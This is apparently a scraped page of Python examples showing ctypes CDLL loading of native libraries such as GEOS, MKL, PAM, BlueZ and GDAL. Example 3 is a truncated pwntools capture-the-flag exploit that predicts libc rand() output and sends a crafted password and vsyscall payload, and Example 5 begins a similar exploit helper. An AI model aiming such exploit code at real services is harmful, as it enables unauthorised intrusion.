Esempio n. 1
0
    geos_whl_so = glob.glob(
        os.path.abspath(os.path.join(os.path.dirname(__file__), ".libs/libgeos*.so*"))
    ) or glob.glob(
        os.path.abspath(
            os.path.join(
                os.path.dirname(__file__), "..", "Shapely.libs", "libgeos*.so*"
            )
        )
    )

    if len(geos_whl_so) > 0:
        # We have observed problems with CDLL of libgeos_c not automatically
        # loading the sibling c++ library since the change made by auditwheel
        # 3.1, so we explicitly load them both.
        geos_whl_so = sorted(geos_whl_so)
        CDLL(geos_whl_so[0])
        _lgeos = CDLL(geos_whl_so[-1])
        LOG.debug("Found GEOS DLL: %r, using it.", _lgeos)

    elif hasattr(sys, 'frozen'):
        geos_pyinstaller_so = glob.glob(os.path.join(sys.prefix, 'libgeos_c-*.so.*'))
        if len(geos_pyinstaller_so) >= 1:
            _lgeos = CDLL(geos_pyinstaller_so[0])
            LOG.debug("Found GEOS DLL: %r, using it.", _lgeos)
    elif exists_conda_env():
        # conda package.
        _lgeos = CDLL(os.path.join(sys.prefix, 'lib', 'libgeos_c.so'))
    else:
        alt_paths = [
            'libgeos_c.so.1',
            'libgeos_c.so',
Esempio n. 2
0
"""Matrix powers kernel specializer."""

import akxconfig
from ctypes import CDLL, RTLD_GLOBAL, c_char, c_int, c_double, POINTER
import numpy
import time

__all__ = [
    "AkxObjectPy", "tb_partition", "threadblocks", "AkxBlock",
    "AkxImplicitSeq", "benchmark", "tile", "partition", "cgen", "tune",
    "gram_matrix", "combine_vecs"
]

if akxconfig.use_mkl:
    omp = CDLL("libiomp5.so", mode=RTLD_GLOBAL)
    mkl = CDLL("libmkl_rt.so")
elif akxconfig.use_acml:
    acml = CDLL("libacml_mp.so")

if akxconfig.specialize:
    import asp.codegen.templating.template
    import codepy.jit
    import codepy.toolchain
    import os

    thisdir = os.path.dirname(__file__)

    toolchain = codepy.toolchain.guess_toolchain()
    toolchain.cc = "gcc"
    toolchain.cflags = ["-O3", "-march=core2", "-msse3", "-fPIC"]
    toolchain.include_dirs.append(thisdir or '.')
Esempio n. 3
0
from pwn import *
from ctypes import CDLL

if __name__ == "__main__":
    context.log_level = "debug"

    p = process('./viserions_call', env={"LD_PRELOAD": "./libc.so.6"})
    #p = remote('gc1.eng.run', 31459)
    libc = CDLL("libc.so.6")
    libc.srand(int(time.time()) & 0xffffff00)
    rand_val = libc.rand()

    gdb.attach(p, gdbscript='''b*main+95\n''')

    info("rand : %s" % rand_val)

    p.recvuntil('Name:\n')
    p.sendline(b'abcd')

    p.recvuntil('Password:\n')

    pay = b's3cur3_p4ssw0rd\x00'
    pay += b'\x00' * (0x1c - 8 - len(pay))
    pay += p64(0xffffffffff600000)
    pay += p64(rand_val)

    p.send(pay)

    ret_addr = 0xffffffffff600000
    pay = p64(ret_addr) * 27 + '\xdf'
Esempio n. 4
0
        except OSError:
            return False
        return getxattr(fd.fileno(), 'user.name') == b'value'


def get_all(path, follow_symlinks=True):
    try:
        return dict(
            (name, getxattr(path, name, follow_symlinks=follow_symlinks))
            for name in listxattr(path, follow_symlinks=follow_symlinks))
    except OSError as e:
        if e.errno in (errno.ENOTSUP, errno.EPERM):
            return {}


libc = CDLL(find_library('c'), use_errno=True)


def _check(rv, path=None):
    if rv < 0:
        raise OSError(get_errno(), path)
    return rv


if sys.platform.startswith('linux'):  # pragma: linux only
    libc.llistxattr.argtypes = (c_char_p, c_char_p, c_size_t)
    libc.llistxattr.restype = c_ssize_t
    libc.flistxattr.argtypes = (c_int, c_char_p, c_size_t)
    libc.flistxattr.restype = c_ssize_t
    libc.lsetxattr.argtypes = (c_char_p, c_char_p, c_char_p, c_size_t, c_int)
    libc.lsetxattr.restype = c_int
Esempio n. 5
0
from ctypes import CDLL
from time import sleep
import sys
import socket
import telnetlib

libc = CDLL('libc.so.6')
last_rand = None


def srand(seed):
    print 'srand:', hex(seed)
    libc.srand(seed)


def rand():
    r = libc.rand()
    print 'rand:', hex(r)
    last_rand = r
    return r


time = libc.time


def rw(t):
    d = ''
    while t not in d:
        c = p.recv(1)
        sys.stdout.write(c)
        if c == '':
Esempio n. 6
0
    # roi = (400, 700, 300, 800)
    ####################################### Specify test case end ##################################

    # Redirect standard output to a file if requested.
    protocol_file = None
    if redirect_stdout:
        print(
            "Redirecting stdout, please check Protocol.txt file in input directory.",
            file=sys.stderr)
        stdout_saved = sys.stdout
        protocol_file = open(os.path.join(input_directory, 'Protocol.txt'),
                             'a')
        sys.stdout = protocol_file

    if platform.system() == 'Windows':
        mkl_rt = CDLL('mkl_rt.dll')
    else:
        mkl_rt = CDLL('libmkl_rt.so')

    mkl_get_max_threads = mkl_rt.mkl_get_max_threads

    def mkl_set_num_threads(cores):
        mkl_rt.mkl_set_num_threads(ctypes.byref(ctypes.c_int(cores)))

    mkl_set_num_threads(2)
    print("Number of threads used by mkl: " + str(mkl_get_max_threads()))

    # For videos, batch processing is done for all videos in the input directory.
    if input_type == 'video':
        input_names = glob.glob(os.path.join(input_directory, '*.avi'))
    # For images, it is assumed that the input directory contains one or several directories with
Esempio n. 7
0
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

import ctypes
from ctypes import WinDLL, CDLL, wintypes

shell32 = WinDLL("shell32")
kernel32 = WinDLL("kernel32")
shlwapi = WinDLL("shlwapi")
msvcrt = CDLL("msvcrt")

GetCommandLineW = kernel32.GetCommandLineW
GetCommandLineW.argtypes = []
GetCommandLineW.restype = wintypes.LPCWSTR

CommandLineToArgvW = shell32.CommandLineToArgvW
CommandLineToArgvW.argtypes = [wintypes.LPCWSTR, ctypes.POINTER(ctypes.c_int)]
CommandLineToArgvW.restype = ctypes.POINTER(wintypes.LPWSTR)

LocalFree = kernel32.LocalFree
LocalFree.argtypes = [wintypes.HLOCAL]
LocalFree.restype = wintypes.HLOCAL

# https://msdn.microsoft.com/en-us/library/windows/desktop/aa383751.aspx
LPCTSTR = ctypes.c_wchar_p
Esempio n. 8
0
    _libopenccfilename = 'libopencc.so.1.1'
elif _system == 'Windows':
    _libopenccfilename = 'opencc.dll'
else:
    raise NotImplementedError('Not tested for {}'.format(_system))

if _system == 'Windows':
    _libopenccfile = os.path.join(_thisdir, 'lib', 'opencc',
                                  _libopenccfilename)
else:
    _libopenccfile = os.path.join(_thisdir, 'lib', 'opencc',
                                  _libopenccfilename)

libopencc = None
if os.path.isfile(_libopenccfile):
    libopencc = CDLL(_libopenccfile, use_errno=True)
    libopencc.opencc_open.restype = c_void_p
    libopencc.opencc_convert_utf8.argtypes = [c_void_p, c_char_p, c_size_t]
    libopencc.opencc_convert_utf8.restype = c_void_p
    libopencc.opencc_convert_utf8_free.argtypes = [c_char_p]
    libopencc.opencc_convert_utf8_free.restype = c_void_p
    libopencc.opencc_close.argtypes = [c_void_p]
    libopencc.opencc_error.argtypes = []
    libopencc.opencc_error.restype = c_char_p

_opencc_share_dir = os.path.join(_thisdir, 'lib', 'opencc')
CONFIGS = []
if os.path.isdir(_opencc_share_dir):
    CONFIGS = [f for f in os.listdir(_opencc_share_dir) if f.endswith('.json')]

Esempio n. 9
0
    SOCK_RAW,
    BTPROTO_HCI,
    SOL_HCI,
    HCI_FILTER,
)

if not os.geteuid() == 0:
    sys.exit("script only works as root")

btlib = find_library("bluetooth")
if not btlib:
    raise Exception(
        "Can't find required bluetooth libraries"
        " (need to install bluez)"
    )
bluez = CDLL(btlib, use_errno=True)

dev_id = bluez.hci_get_route(None)

sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI)
sock.bind((dev_id,))

err = bluez.hci_le_set_scan_parameters(sock.fileno(), 0, 0x10, 0x10, 0, 0, 1000);
if err < 0:
    raise Exception("Set scan parameters failed")
    # occurs when scanning is still enabled from previous call

# allows LE advertising events
hci_filter = struct.pack(
    "<IQH",
    0x00000010,
Esempio n. 10
0
                      POINTER(POINTER(PamResponse)), c_void_p)


class PamConv(Structure):
    """wrapper class for pam_conv structure"""
    _fields_ = [("conv", conv_func), ("appdata_ptr", c_void_p)]


# Various constants
PAM_PROMPT_ECHO_OFF = 1
PAM_PROMPT_ECHO_ON = 2
PAM_ERROR_MSG = 3
PAM_TEXT_INFO = 4
PAM_REINITIALIZE_CRED = 8

libc = CDLL(find_library("c"))
libpam = CDLL(find_library("pam"))

calloc = libc.calloc
calloc.restype = c_void_p
calloc.argtypes = [c_size_t, c_size_t]

# bug #6 (@NIPE-SYSTEMS), some libpam versions don't include this function
if hasattr(libpam, 'pam_end'):
    pam_end = libpam.pam_end
    pam_end.restype = c_int
    pam_end.argtypes = [PamHandle, c_int]

pam_start = libpam.pam_start
pam_start.restype = c_int
pam_start.argtypes = [c_char_p, c_char_p, POINTER(PamConv), POINTER(PamHandle)]
Esempio n. 11
0
"""Solve complex equation on a square."""
# pylint: disable=no-member

from ctypes import CDLL

from netgen.geom2d import unit_square

import ngsolve as ngs
from ngsolve import grad

CDLL('libh1amg.so')

with ngs.TaskManager():
    mesh = ngs.Mesh(unit_square.GenerateMesh(maxh=0.15))

    fes = ngs.H1(mesh, dirichlet=[1, 2, 3], order=1, complex=True)

    u = fes.TrialFunction()
    v = fes.TestFunction()

    # rhs
    f = ngs.LinearForm(fes)
    f += ngs.SymbolicLFI(v)

    # lhs
    a = ngs.BilinearForm(fes, symmetric=True)
    a += ngs.SymbolicBFI(grad(u) * grad(v) + 1j * u * v)

    c = ngs.Preconditioner(a, 'h1amg2')
    # c = ngs.Preconditioner(a, 'direct')
Esempio n. 12
0
from .adl_defines import *
from .adl_structures import *

# ***** ORIGINAL ADL3 LIB *****

_platform = platform.system()
_release = platform.release()

if _platform == "Linux" or _platform == "Windows":
    from ctypes import CDLL, CFUNCTYPE

    if _platform == "Linux":
        from ctypes import RTLD_GLOBAL

        # pre-load libXext (required by libatiadlxx.so in 11.12)
        CDLL("libXext.so.6", mode=RTLD_GLOBAL)

        # load the ADL 3.0 dso/dll
        _libadl = CDLL("libatiadlxx.so", mode=RTLD_GLOBAL)

        # ADL requires we pass an allocation function and handle freeing it ourselves
        _libc = CDLL("libc.so.6")
    else:
        try:
            # first try to load the 64-bit library
            _libadl = CDLL("atiadlxx.dll")
        except OSError:
            # fall back on the 32-bit library
            _libadl = CDLL("atiadlxy.dll")

        _libc = cdll.msvcrt
Esempio n. 13
0
from .gsfDataID import c_gsfDataID
from .gsfMBParams import c_gsfMBParams
from .gsfRecords import c_gsfRecords
from .gsfScaleFactors import c_gsfScaleFactors
from .gsfSwathBathyPing import c_gsfSwathBathyPing

_libgsf_abs_path = str(Path(__file__).parent / "libgsf" / "libgsf03-08.so")

# Check if the libgsf shared object library location is specified in the environment.
# If so, use the specified library in preference to the bundled version. Handle the
# case where the library cannot be found.
if "GSFPY_LIBGSF_PATH" in environ:
    _libgsf_abs_path = environ["GSFPY_LIBGSF_PATH"]

try:
    _libgsf = CDLL(_libgsf_abs_path)
except OSError as osex:
    raise Exception(
        f"Cannot load shared library from {_libgsf_abs_path}. Set the "
        f"$GSFPY_LIBGSF_PATH environment variable to the correct path, "
        f"or remove it from the environment to use the default version."
    ) from osex

_libgsf.gsfClose.argtypes = [c_int]
_libgsf.gsfClose.restype = c_int

_libgsf.gsfIntError.argtypes = []
_libgsf.gsfIntError.restype = c_int

_libgsf.gsfOpen.argtypes = [c_char_p, c_int, (POINTER(c_int))]
_libgsf.gsfOpen.restype = c_int
Esempio n. 14
0
 def restoreInfo(self):
     if CONTIPPSETUP.niInterfaceLib is None:
         CONTIPPSETUP.niInterfaceLib = CDLL("libNiInterface.so")
Esempio n. 15
0
"""Set up the shared libcmark-gfm library and extensions."""
# pylint: disable=invalid-name

from ctypes import c_char_p, c_int, c_size_t, c_void_p, CDLL


CMARK_DLL = CDLL("/usr/local/lib/libcmark-gfm.so")
CMARK_EXT_DLL = CDLL("/usr/local/lib/libcmark-gfm-extensions.so")

# Enable cmark options: --hardbreaks, --unsafe, --strikethrough-double-tilde
# Can we import these somehow? They're defined in cmark.h with the same values as below
CMARK_OPT_HARDBREAKS = 1 << 2
CMARK_OPT_UNSAFE = 1 << 17
CMARK_OPT_STRIKETHROUGH_DOUBLE_TILDE = 1 << 14
CMARK_OPTS = (
    CMARK_OPT_HARDBREAKS | CMARK_OPT_UNSAFE | CMARK_OPT_STRIKETHROUGH_DOUBLE_TILDE
)

CMARK_EXTENSIONS = (b"autolink", b"strikethrough", b"table")

cmark_parser_new = CMARK_DLL.cmark_parser_new
cmark_parser_new.restype = c_void_p
cmark_parser_new.argtypes = (c_int,)

cmark_parser_feed = CMARK_DLL.cmark_parser_feed
cmark_parser_feed.restype = None
cmark_parser_feed.argtypes = (c_void_p, c_char_p, c_size_t)

cmark_parser_finish = CMARK_DLL.cmark_parser_finish
cmark_parser_finish.restype = c_void_p
cmark_parser_finish.argtypes = (c_void_p,)
Esempio n. 16
0
        ("reserved_ptr1",  c_void_p),
        ("reserved_ptr2",  c_void_p),
        ("reserved_ptr3",  c_void_p),
        ("reserved_ptr4",  c_void_p),
        ("reserved_int1",  c_uint64),
        ("reserved_int2",  c_uint64),
        ("reserved_int3",  c_size_t),
        ("reserved_int4",  c_size_t),
        ("reserved_enum1", c_uint),
        ("reserved_enum2", c_uint),
    ]

# Hardcoded this path to the System liblzma dylib location, so that /usr/local/lib or other user
# installed library locations aren't used (which ctypes.util.find_library(...) would hit).
# Available in OS X 10.7+
c_liblzma = CDLL('/usr/lib/liblzma.dylib')

NULL               = None
BUFSIZ             = 4096
LZMA_OK            = 0
LZMA_RUN           = 0
LZMA_FINISH        = 3
LZMA_STREAM_END    = 1
BLANK_BUF          = '\x00'*BUFSIZ
UINT64_MAX         = c_uint64(18446744073709551615)
LZMA_CONCATENATED  = c_uint32(0x08)
LZMA_RESERVED_ENUM = 0
LZMA_STREAM_INIT   = [NULL, 0, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, 0, LZMA_RESERVED_ENUM, LZMA_RESERVED_ENUM]


def decompress(infile, outfile):
            # macports
            '/opt/local/lib/libgeos_c.dylib',
    ]
    _lgeos = load_dll('geos_c', fallbacks=alt_paths)
    free = load_dll('c').free
    free.argtypes = [c_void_p]
    free.restype = None

elif sys.platform == 'win32':
    try:
        egg_dlls = os.path.abspath(os.path.join(os.path.dirname(__file__),
                                     r"DLLs"))
        wininst_dlls =  os.path.abspath(os.__file__ + "../../../DLLs")
        original_path = os.environ['PATH']
        os.environ['PATH'] = "%s;%s;%s" % (egg_dlls, wininst_dlls, original_path)
        _lgeos = CDLL("geos_c.dll")
    except (ImportError, WindowsError, OSError):
        raise
    def free(m):
        try:
            cdll.msvcrt.free(m)
        except WindowsError:
            # XXX: See http://trac.gispython.org/projects/PCL/ticket/149
            pass

elif sys.platform == 'sunos5':
    _lgeos = load_dll('geos_c', fallbacks=['libgeos_c.so.1', 'libgeos_c.so'])
    free = CDLL('libc.so.1').free
    free.argtypes = [c_void_p]
    free.restype = None
Esempio n. 18
0
from os.path import dirname
from os.path import realpath, dirname
from ctypes import CDLL, c_double, c_uint, c_ulong, c_bool, Structure, POINTER

libc = CDLL("libc.so.6")
libsimulat = CDLL(dirname(dirname(__file__)) + "/lib/libsimulat.so")

libc.srand(libc.time(None))


def gen_uniform_random(count):
    c_gen_uniform_random = libsimulat.gen_uniform_random
    c_gen_uniform_random.restype = c_double
    for i in range(count):
        yield c_gen_uniform_random()


def gen_rayleigh_random(sigma, count):
    c_gen_rayleigh_random = libsimulat.gen_rayleigh_random
    c_gen_rayleigh_random.argtypes = [c_double]
    c_gen_rayleigh_random.restype = c_double
    for i in range(count):
        yield c_gen_rayleigh_random(sigma)


def gen_standard_normal_random(count):
    c_gen_standard_normal_random = libsimulat.gen_standard_normal_random
    c_gen_standard_normal_random.restype = c_double
    for i in range(count):
        yield c_gen_standard_normal_random()
Esempio n. 19
0
    )
from picard.util import thread

if sys.platform == 'haiku1':

    class AttrInfo(Structure):
        _fields_ = [
            ('type', c_uint32),
            ('size', c_size_t)]

        def __repr__(self):
            return 'AttrInfo(type=%r, size=%r)' % (self.type, self.size)

    try:
        libbe_path = find_library('be') or 'libbe.so'
        be = CDLL(libbe_path, use_errno=True)
        be.fs_stat_attr.restype = c_int
        be.fs_stat_attr.argtypes = [c_int, c_char_p, POINTER(AttrInfo)]
        be.fs_read_attr.restype = c_ssize_t
        be.fs_read_attr.argtypes = [c_int, c_char_p, c_uint32, c_size_t,
                                    c_void_p, c_size_t]
        be.fs_remove_attr.restype = c_int
        be.fs_remove_attr.argtypes = [c_int, c_char_p]
        be.fs_write_attr.restype = c_ssize_t
        be.fs_write_attr.argtypes = [c_int, c_char_p, c_uint32, c_size_t,
                                     c_void_p, c_size_t]
    except OSError:
        log.error('haikuattrs: unable to load libbe', exc_info=True)
        be = None
else:
    log.warning('haikuattrs: this plugin is only for the Haiku operating system')
Esempio n. 20
0
# Using the ctypes `find_library` utility  to find the
# path to the GDAL library from the list of library names.
if lib_names:
    for lib_name in lib_names:
        lib_path = find_library(lib_name)
        if lib_path is not None:
            break

if lib_path is None:
    raise GDALException(
        'Could not find the GDAL library (tried "%s"). Try setting '
        'GDAL_LIBRARY_PATH in your settings.' % '", "'.join(lib_names)
    )

# This loads the GDAL/OGR C library
lgdal = CDLL(lib_path)

# On Windows, the GDAL binaries have some OSR routines exported with
# STDCALL, while others are not.  Thus, the library will also need to
# be loaded up as WinDLL for said OSR functions that require the
# different calling convention.
if os.name == 'nt':
    from ctypes import WinDLL
    lwingdal = WinDLL(lib_path)


def std_call(func):
    """
    Returns the correct STDCALL function for certain OSR routines on Win32
    platforms.
    """
Esempio n. 21
0
# cast. Without it ctypes fails when not running on the main thread.
_int_proto = CFUNCTYPE(c_int, c_void_p)
_int_char_proto = CFUNCTYPE(c_char_p, c_int, c_char_p, c_size_t)
_char_proto = CFUNCTYPE(c_char_p, c_void_p)
_void_proto = CFUNCTYPE(c_void_p, c_void_p)
_none_proto = CFUNCTYPE(None, c_void_p)


def _ethtool_uses_libnl3():
    """Returns whether ethtool uses libnl3."""
    return (StrictVersion('0.9') <= StrictVersion(
        ethtool.version.split()[1].lstrip('v')))


if _ethtool_uses_libnl3():
    LIBNL = CDLL('libnl-3.so.200', use_errno=True)
    LIBNL_ROUTE = CDLL('libnl-route-3.so.200', use_errno=True)

    _nl_socket_alloc = CFUNCTYPE(c_void_p)(('nl_socket_alloc', LIBNL))
    _nl_socket_free = _none_proto(('nl_socket_free', LIBNL))

else:  # libnl-1
    # Change from handle to socket as it is now more accurately called in
    # libnl-3
    LIBNL_ROUTE = LIBNL = CDLL('libnl.so.1', use_errno=True)

    _nl_socket_alloc = CFUNCTYPE(c_void_p)(('nl_handle_alloc', LIBNL))
    _nl_socket_free = _none_proto(('nl_handle_destroy', LIBNL))

    def _alloc_cache(allocator, sock):
        cache = allocator(sock)
Esempio n. 22
0
security_path = find_library("Security")
if not security_path:
    raise ImportError("The library Security could not be found")

core_foundation_path = find_library("CoreFoundation")
if not core_foundation_path:
    raise ImportError("The library CoreFoundation could not be found")

version = platform.mac_ver()[0]
version_info = tuple(map(int, version.split(".")))
if version_info < (10, 8):
    raise OSError("Only OS X 10.8 and newer are supported, not %s.%s" %
                  (version_info[0], version_info[1]))

Security = CDLL(security_path, use_errno=True)
CoreFoundation = CDLL(core_foundation_path, use_errno=True)

Boolean = c_bool
CFIndex = c_long
CFStringEncoding = c_uint32
CFData = c_void_p
CFString = c_void_p
CFArray = c_void_p
CFMutableArray = c_void_p
CFDictionary = c_void_p
CFError = c_void_p
CFType = c_void_p
CFTypeID = c_ulong

CFTypeRef = POINTER(CFType)
Esempio n. 23
0
#!/usr/bin/python
#ref https://gist.github.com/pudquick/593fda0fd9e0191c748ac00cd4359702

from ctypes import CDLL, util, c_int, c_uint, byref, sizeof
import time

# We just need a large enough buffer for the result
# On 64-bit systems, this struct is 648 bytes, so 1024 bytes is enough
BUFFER_SIZE = 1024

CTL_KERN = 1
KERN_PROC = 14
KERN_PROC_PID = 1

libc = CDLL(util.find_library("c"))


def starttime_for_pid(pid):
    mib = (c_int * 4)(CTL_KERN, KERN_PROC, KERN_PROC_PID, pid)
    # allocate the buffer as an array of unsigned integers
    # We're fortunate in that kp_proc.p_starttime.tv_sec is
    # the very first value in this data structure
    proc_buffer = (c_uint * (BUFFER_SIZE / sizeof(c_uint)))()
    size = c_int(BUFFER_SIZE)
    result = libc.sysctl(mib, 4, byref(proc_buffer), byref(size), 0, 0)
    return proc_buffer[0]


def seconds_running(pid):
    start_time = starttime_for_pid(pid)
    if start_time == 0:
Esempio n. 24
0
#                 Claudio Satriano <*****@*****.**>
# (c) 2013-2014 - Natalia Poiata <*****@*****.**>,
#                 Claudio Satriano <*****@*****.**>,
#                 Pierre Romanet <*****@*****.**>
from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

import numpy as np
from ctypes import CDLL, c_int, c_float, c_double, c_void_p, POINTER, byref
from numpy.ctypeslib import ndpointer
try:
    from .lib_names import get_lib_path
except (ImportError, ValueError):
    from lib_names import get_lib_path

lib_rec_hos = CDLL(get_lib_path('lib_rec_hos'))
lib_rec_hos._recursive_hos.argtypes = [
    ndpointer(dtype=np.float64),  # signal
    ndpointer(dtype=np.float64),  # hos_signal
    c_int,  # npts
    c_float,  # sigma_min
    c_float,  # C_WIN
    c_int,  # order
    POINTER(c_double),  # mean
    POINTER(c_double),  # var
    POINTER(c_double),  # hos
    c_int,  # memory_sample
    c_int  # initialize
]
lib_rec_hos._recursive_hos.restype = c_void_p
Esempio n. 25
0
            return str(x).encode(charset, errors)
        raise TypeError('expected bytes or str, not ' + type(x).__name__)

    def to_native(x, charset=sys.getdefaultencoding(), errors='strict'):
        if x is None or isinstance(x, str):
            return x
        return x.decode(charset, errors)

    iterkeys = lambda d: iter(d.keys())
    itervalues = lambda d: iter(d.values())
    iteritems = lambda d: iter(d.items())
    from urllib.parse import urlparse

DATABASES = {}

_libc = CDLL(find_library('c'))
_libc.strtod.restype = c_double
_libc.strtod.argtypes = [c_char_p, POINTER(c_char_p)]
_strtod = _libc.strtod


def timedelta_total_seconds(delta):
    return delta.days * 86400 + delta.seconds + delta.microseconds / 1E6


class _StrKeyDict(MutableMapping):
    def __init__(self, *args, **kwargs):
        self._dict = dict(*args, **kwargs)
        self._ex_keys = {}

    def __getitem__(self, key):
Esempio n. 26
0
import os

import functional_general_test
from trex import CTRexScenario

from scapy.all import *

from ctypes import CDLL, c_char_p, c_int, c_void_p, c_uint32, c_buffer

so_path = os.path.join(CTRexScenario.scripts_path, 'so')

libbpf_path = os.path.join(so_path, 'libbpf-64-debug.so')

try:
    libbpf = CDLL(libbpf_path)

    libbpf.bpf_compile.argtypes = [c_char_p]
    libbpf.bpf_compile.restype = c_void_p

    libbpf.bpf_destroy.argtypes = [c_void_p]
    libbpf.bpf_destroy.restype = None

    libbpf.bpf_run.argtypes = [c_void_p, c_char_p, c_uint32]
    libbpf.bpf_run.restype = c_int

except OSError as e:
    libbpf = None
    #raise Exception('{0} is missing. please make sure the BPF shared library is built before executing the test'.format(libbpf_path))


class BPF_Test(functional_general_test.CGeneralFunctional_Test):
Esempio n. 27
0
# -*- coding: utf-8 -*-
"""
Michael Motro github.com/motrom/fastmurty 4/2/19
"""
import numpy as np
from ctypes import c_int, Structure, POINTER,\
                    RTLD_GLOBAL, CDLL, c_double, byref, c_char_p, c_bool

lib = CDLL("./mhtda.so", RTLD_GLOBAL)

sparse = False
""" c structures """


class Solution(Structure):
    _fields_ = [("x", POINTER(c_int)), ("y", POINTER(c_int)),
                ("v", POINTER(c_double))]


class Subproblem(Structure):
    _fields_ = [("buffer", c_char_p), ("m", c_int), ("n", c_int),
                ("rows2use", POINTER(c_int)), ("cols2use", POINTER(c_int)),
                ("eliminateels", POINTER(c_bool)), ("eliminatemiss", c_bool),
                ("solution", Solution)]


class QueueEntry(Structure):
    _fields_ = [("key", c_double), ("val", POINTER(Subproblem))]


class cs_di_sparse(Structure):
Esempio n. 28
0
#!/usr/bin/env python3
#
# https://publicwiki.deltares.nl/display/~baart_f/2011/10/23/Calling+fortran+from+python
#

import numpy as np
from ctypes import (CDLL, POINTER, ARRAY, c_void_p, c_int, byref, c_double,
                    c_char, c_char_p, create_string_buffer)
from numpy.ctypeslib import ndpointer
import os

# dllpath = os.path.abspath("libtest.so") # or .dll or .so
# libtest = CDLL(dllpath)
libtest = CDLL('./libtest.so')

# Define some extra types
# pointer to a double
c_double_p = POINTER(c_double)
# pointer to a integer
c_int_p = POINTER(c_int)

shape2x2 = (2, 2)
# Pointer to a 2x2 double in fortran layout
c_double2x2_f = ndpointer(shape=shape2x2, dtype="double", flags="FORTRAN")
c_double2x2_c = ndpointer(shape=shape2x2, dtype="double", flags="C")
# Pointer to a pointer to a 10x10 double in fortran layout
c_double2x2_f_p = POINTER(c_double2x2_f)
c_double2x2_c_p = POINTER(c_double2x2_c)
shape3x2 = (3, 2)
shape2x3 = (2, 3)
# Pointer to a 2x3,3x2 double in fortran layout
Esempio n. 29
0
## By jgarcke
## From http://projects.scipy.org/numpy/ticket/990

import numpy as np
import ctypes
from ctypes import CDLL, POINTER, c_int, byref, c_char, c_double
from scipy.io import loadmat

from numpy.core import array, asarray, zeros, empty, transpose, \
        intc, single, double, csingle, cdouble, inexact, complexfloating, \
        newaxis, ravel, all, Inf, dot, add, multiply, identity, sqrt, \
        maximum, flatnonzero, diagonal, arange, fastCopyAndTranspose, sum, \
        isfinite, size

lib = CDLL('/usr/lib64/liblapack.so')


def _makearray(a):
    new = asarray(a)
    wrap = getattr(a, "__array_wrap__", new.__array_wrap__)
    return new, wrap


def isComplexType(t):
    return issubclass(t, complexfloating)


_real_types_map = {
    single: single,
    double: double,
    csingle: single,
Esempio n. 30
0
    def __init__(self, hostfile, mode='r'):
        """
        Constructor
        @param hostfile path to the host
        @param mode read only at the moment
        """

        self.__initialize()
        self.uri = hostfile
        self.mode = mode

        # Data dir based on location of hostfile
        if mode != 'r':
            raise CDMSError('Only read mode is supported for host file')

        for sosuffix in '.so', '.dylib', '.dll', '.a':
            self.libcfdll = CDLL(LIBCF + sosuffix)
            if self.libcfdll:
                break

        if self.libcfdll is None:
            raise CDMSError('libcf not installed or incorrect path\n  ')

        libcfdll = self.libcfdll

        status = libcfdll.nccf_def_host_from_file(hostfile,
                                                  byref(self.hostId_ct))
        if status != 0:
            raise CDMSError("ERROR: not a valid host file %s (status=%d)" %
                            (hostfile, status))

        # Attach global attrs
        libcfdll.nccf_def_global_from_file(hostfile, byref(self.globalId_ct))

        # get the global attributes from the file
        natts = c_int(-1)
        attName_ct = c_char_p(" " * (libCFConfig.NC_MAX_NAME + 1))
        attValu_ct = c_char_p(" " * (libCFConfig.NC_MAX_NAME + 1))
        self.libcfdll.nccf_inq_global_natts(self.globalId_ct, byref(natts))
        for i in range(natts.value):
            self.libcfdll.nccf_inq_global_attval(self.globalId_ct, i,
                                                 attName_ct, attValu_ct)
            if attName_ct.value not in self.attributes:
                self.attributes[attName_ct.value] = attValu_ct.value

        self.id = hostfile

        i_ct = c_int()
        status = libcfdll.nccf_inq_host_ngrids(self.hostId_ct, byref(i_ct))
        self.nGrids = i_ct.value
        status = libcfdll.nccf_inq_host_nstatdatafiles(self.hostId_ct,
                                                       byref(i_ct))
        self.nStatDataFiles = i_ct.value
        status = libcfdll.nccf_inq_host_ntimedatafiles(self.hostId_ct,
                                                       byref(i_ct))

        self.nTimeDataFiles = i_ct.value
        status = libcfdll.nccf_inq_host_ntimeslices(self.hostId_ct,
                                                    byref(i_ct))
        self.nTimeSliceFiles = i_ct.value

        fName_ct = c_char_p(" " * (libCFConfig.NC_MAX_NAME + 1))
        gName_ct = c_char_p(" " * (libCFConfig.NC_MAX_NAME + 1))

        self.dimensions = {
            "nGrids": self.nGrids,
            "nStatDataFiles": self.nStatDataFiles,
            "nTimeDataFiles": self.nTimeDataFiles,
            "nTimeSliceFiles": self.nTimeSliceFiles
        }

        # Mosaic filename (use getMosaic to return the connectivity)
        mosaicFilename = c_char_p(" " * (libCFConfig.NC_MAX_NAME + 1))
        status = libcfdll.nccf_inq_host_mosaicfilename(self.hostId_ct,
                                                       mosaicFilename)
        self.mosaicFilename = mosaicFilename.value

        # Filenames
        timeFilenames = []
        statFilenames = []

        coordinates = []

        # static data
        for vfindx in range(self.nStatDataFiles):
            for gfindx in range(self.nGrids):
                status = libcfdll.nccf_inq_host_statfilename(
                    self.hostId_ct, vfindx, gfindx, fName_ct)
                statFilenames.append(fName_ct.value)
                f = cdms2.open(fName_ct.value, 'r')
                varNames = f.listvariable()

                for vn in varNames:
                    # Add coordinate names a local list of coordinates
                    if 'coordinates' in dir(f[vn]):
                        for coord in f[vn].coordinates.split():
                            if coord not in coordinates:
                                coordinates.append(coord)
                    if vn not in self.statVars:
                        # allocate
                        self.statVars[vn] = ["" for ig in range(self.nGrids)]

                    # set file name
                    self.statVars[vn][gfindx] = fName_ct.value
                f.close()

        # time dependent data
        for vfindx in range(self.nTimeDataFiles):
            for tfindx in range(self.nTimeSliceFiles):
                for gfindx in range(self.nGrids):
                    status = \
                        libcfdll.nccf_inq_host_timefilename(self.hostId_ct,
                                                            vfindx,
                                                            tfindx,
                                                            gfindx,
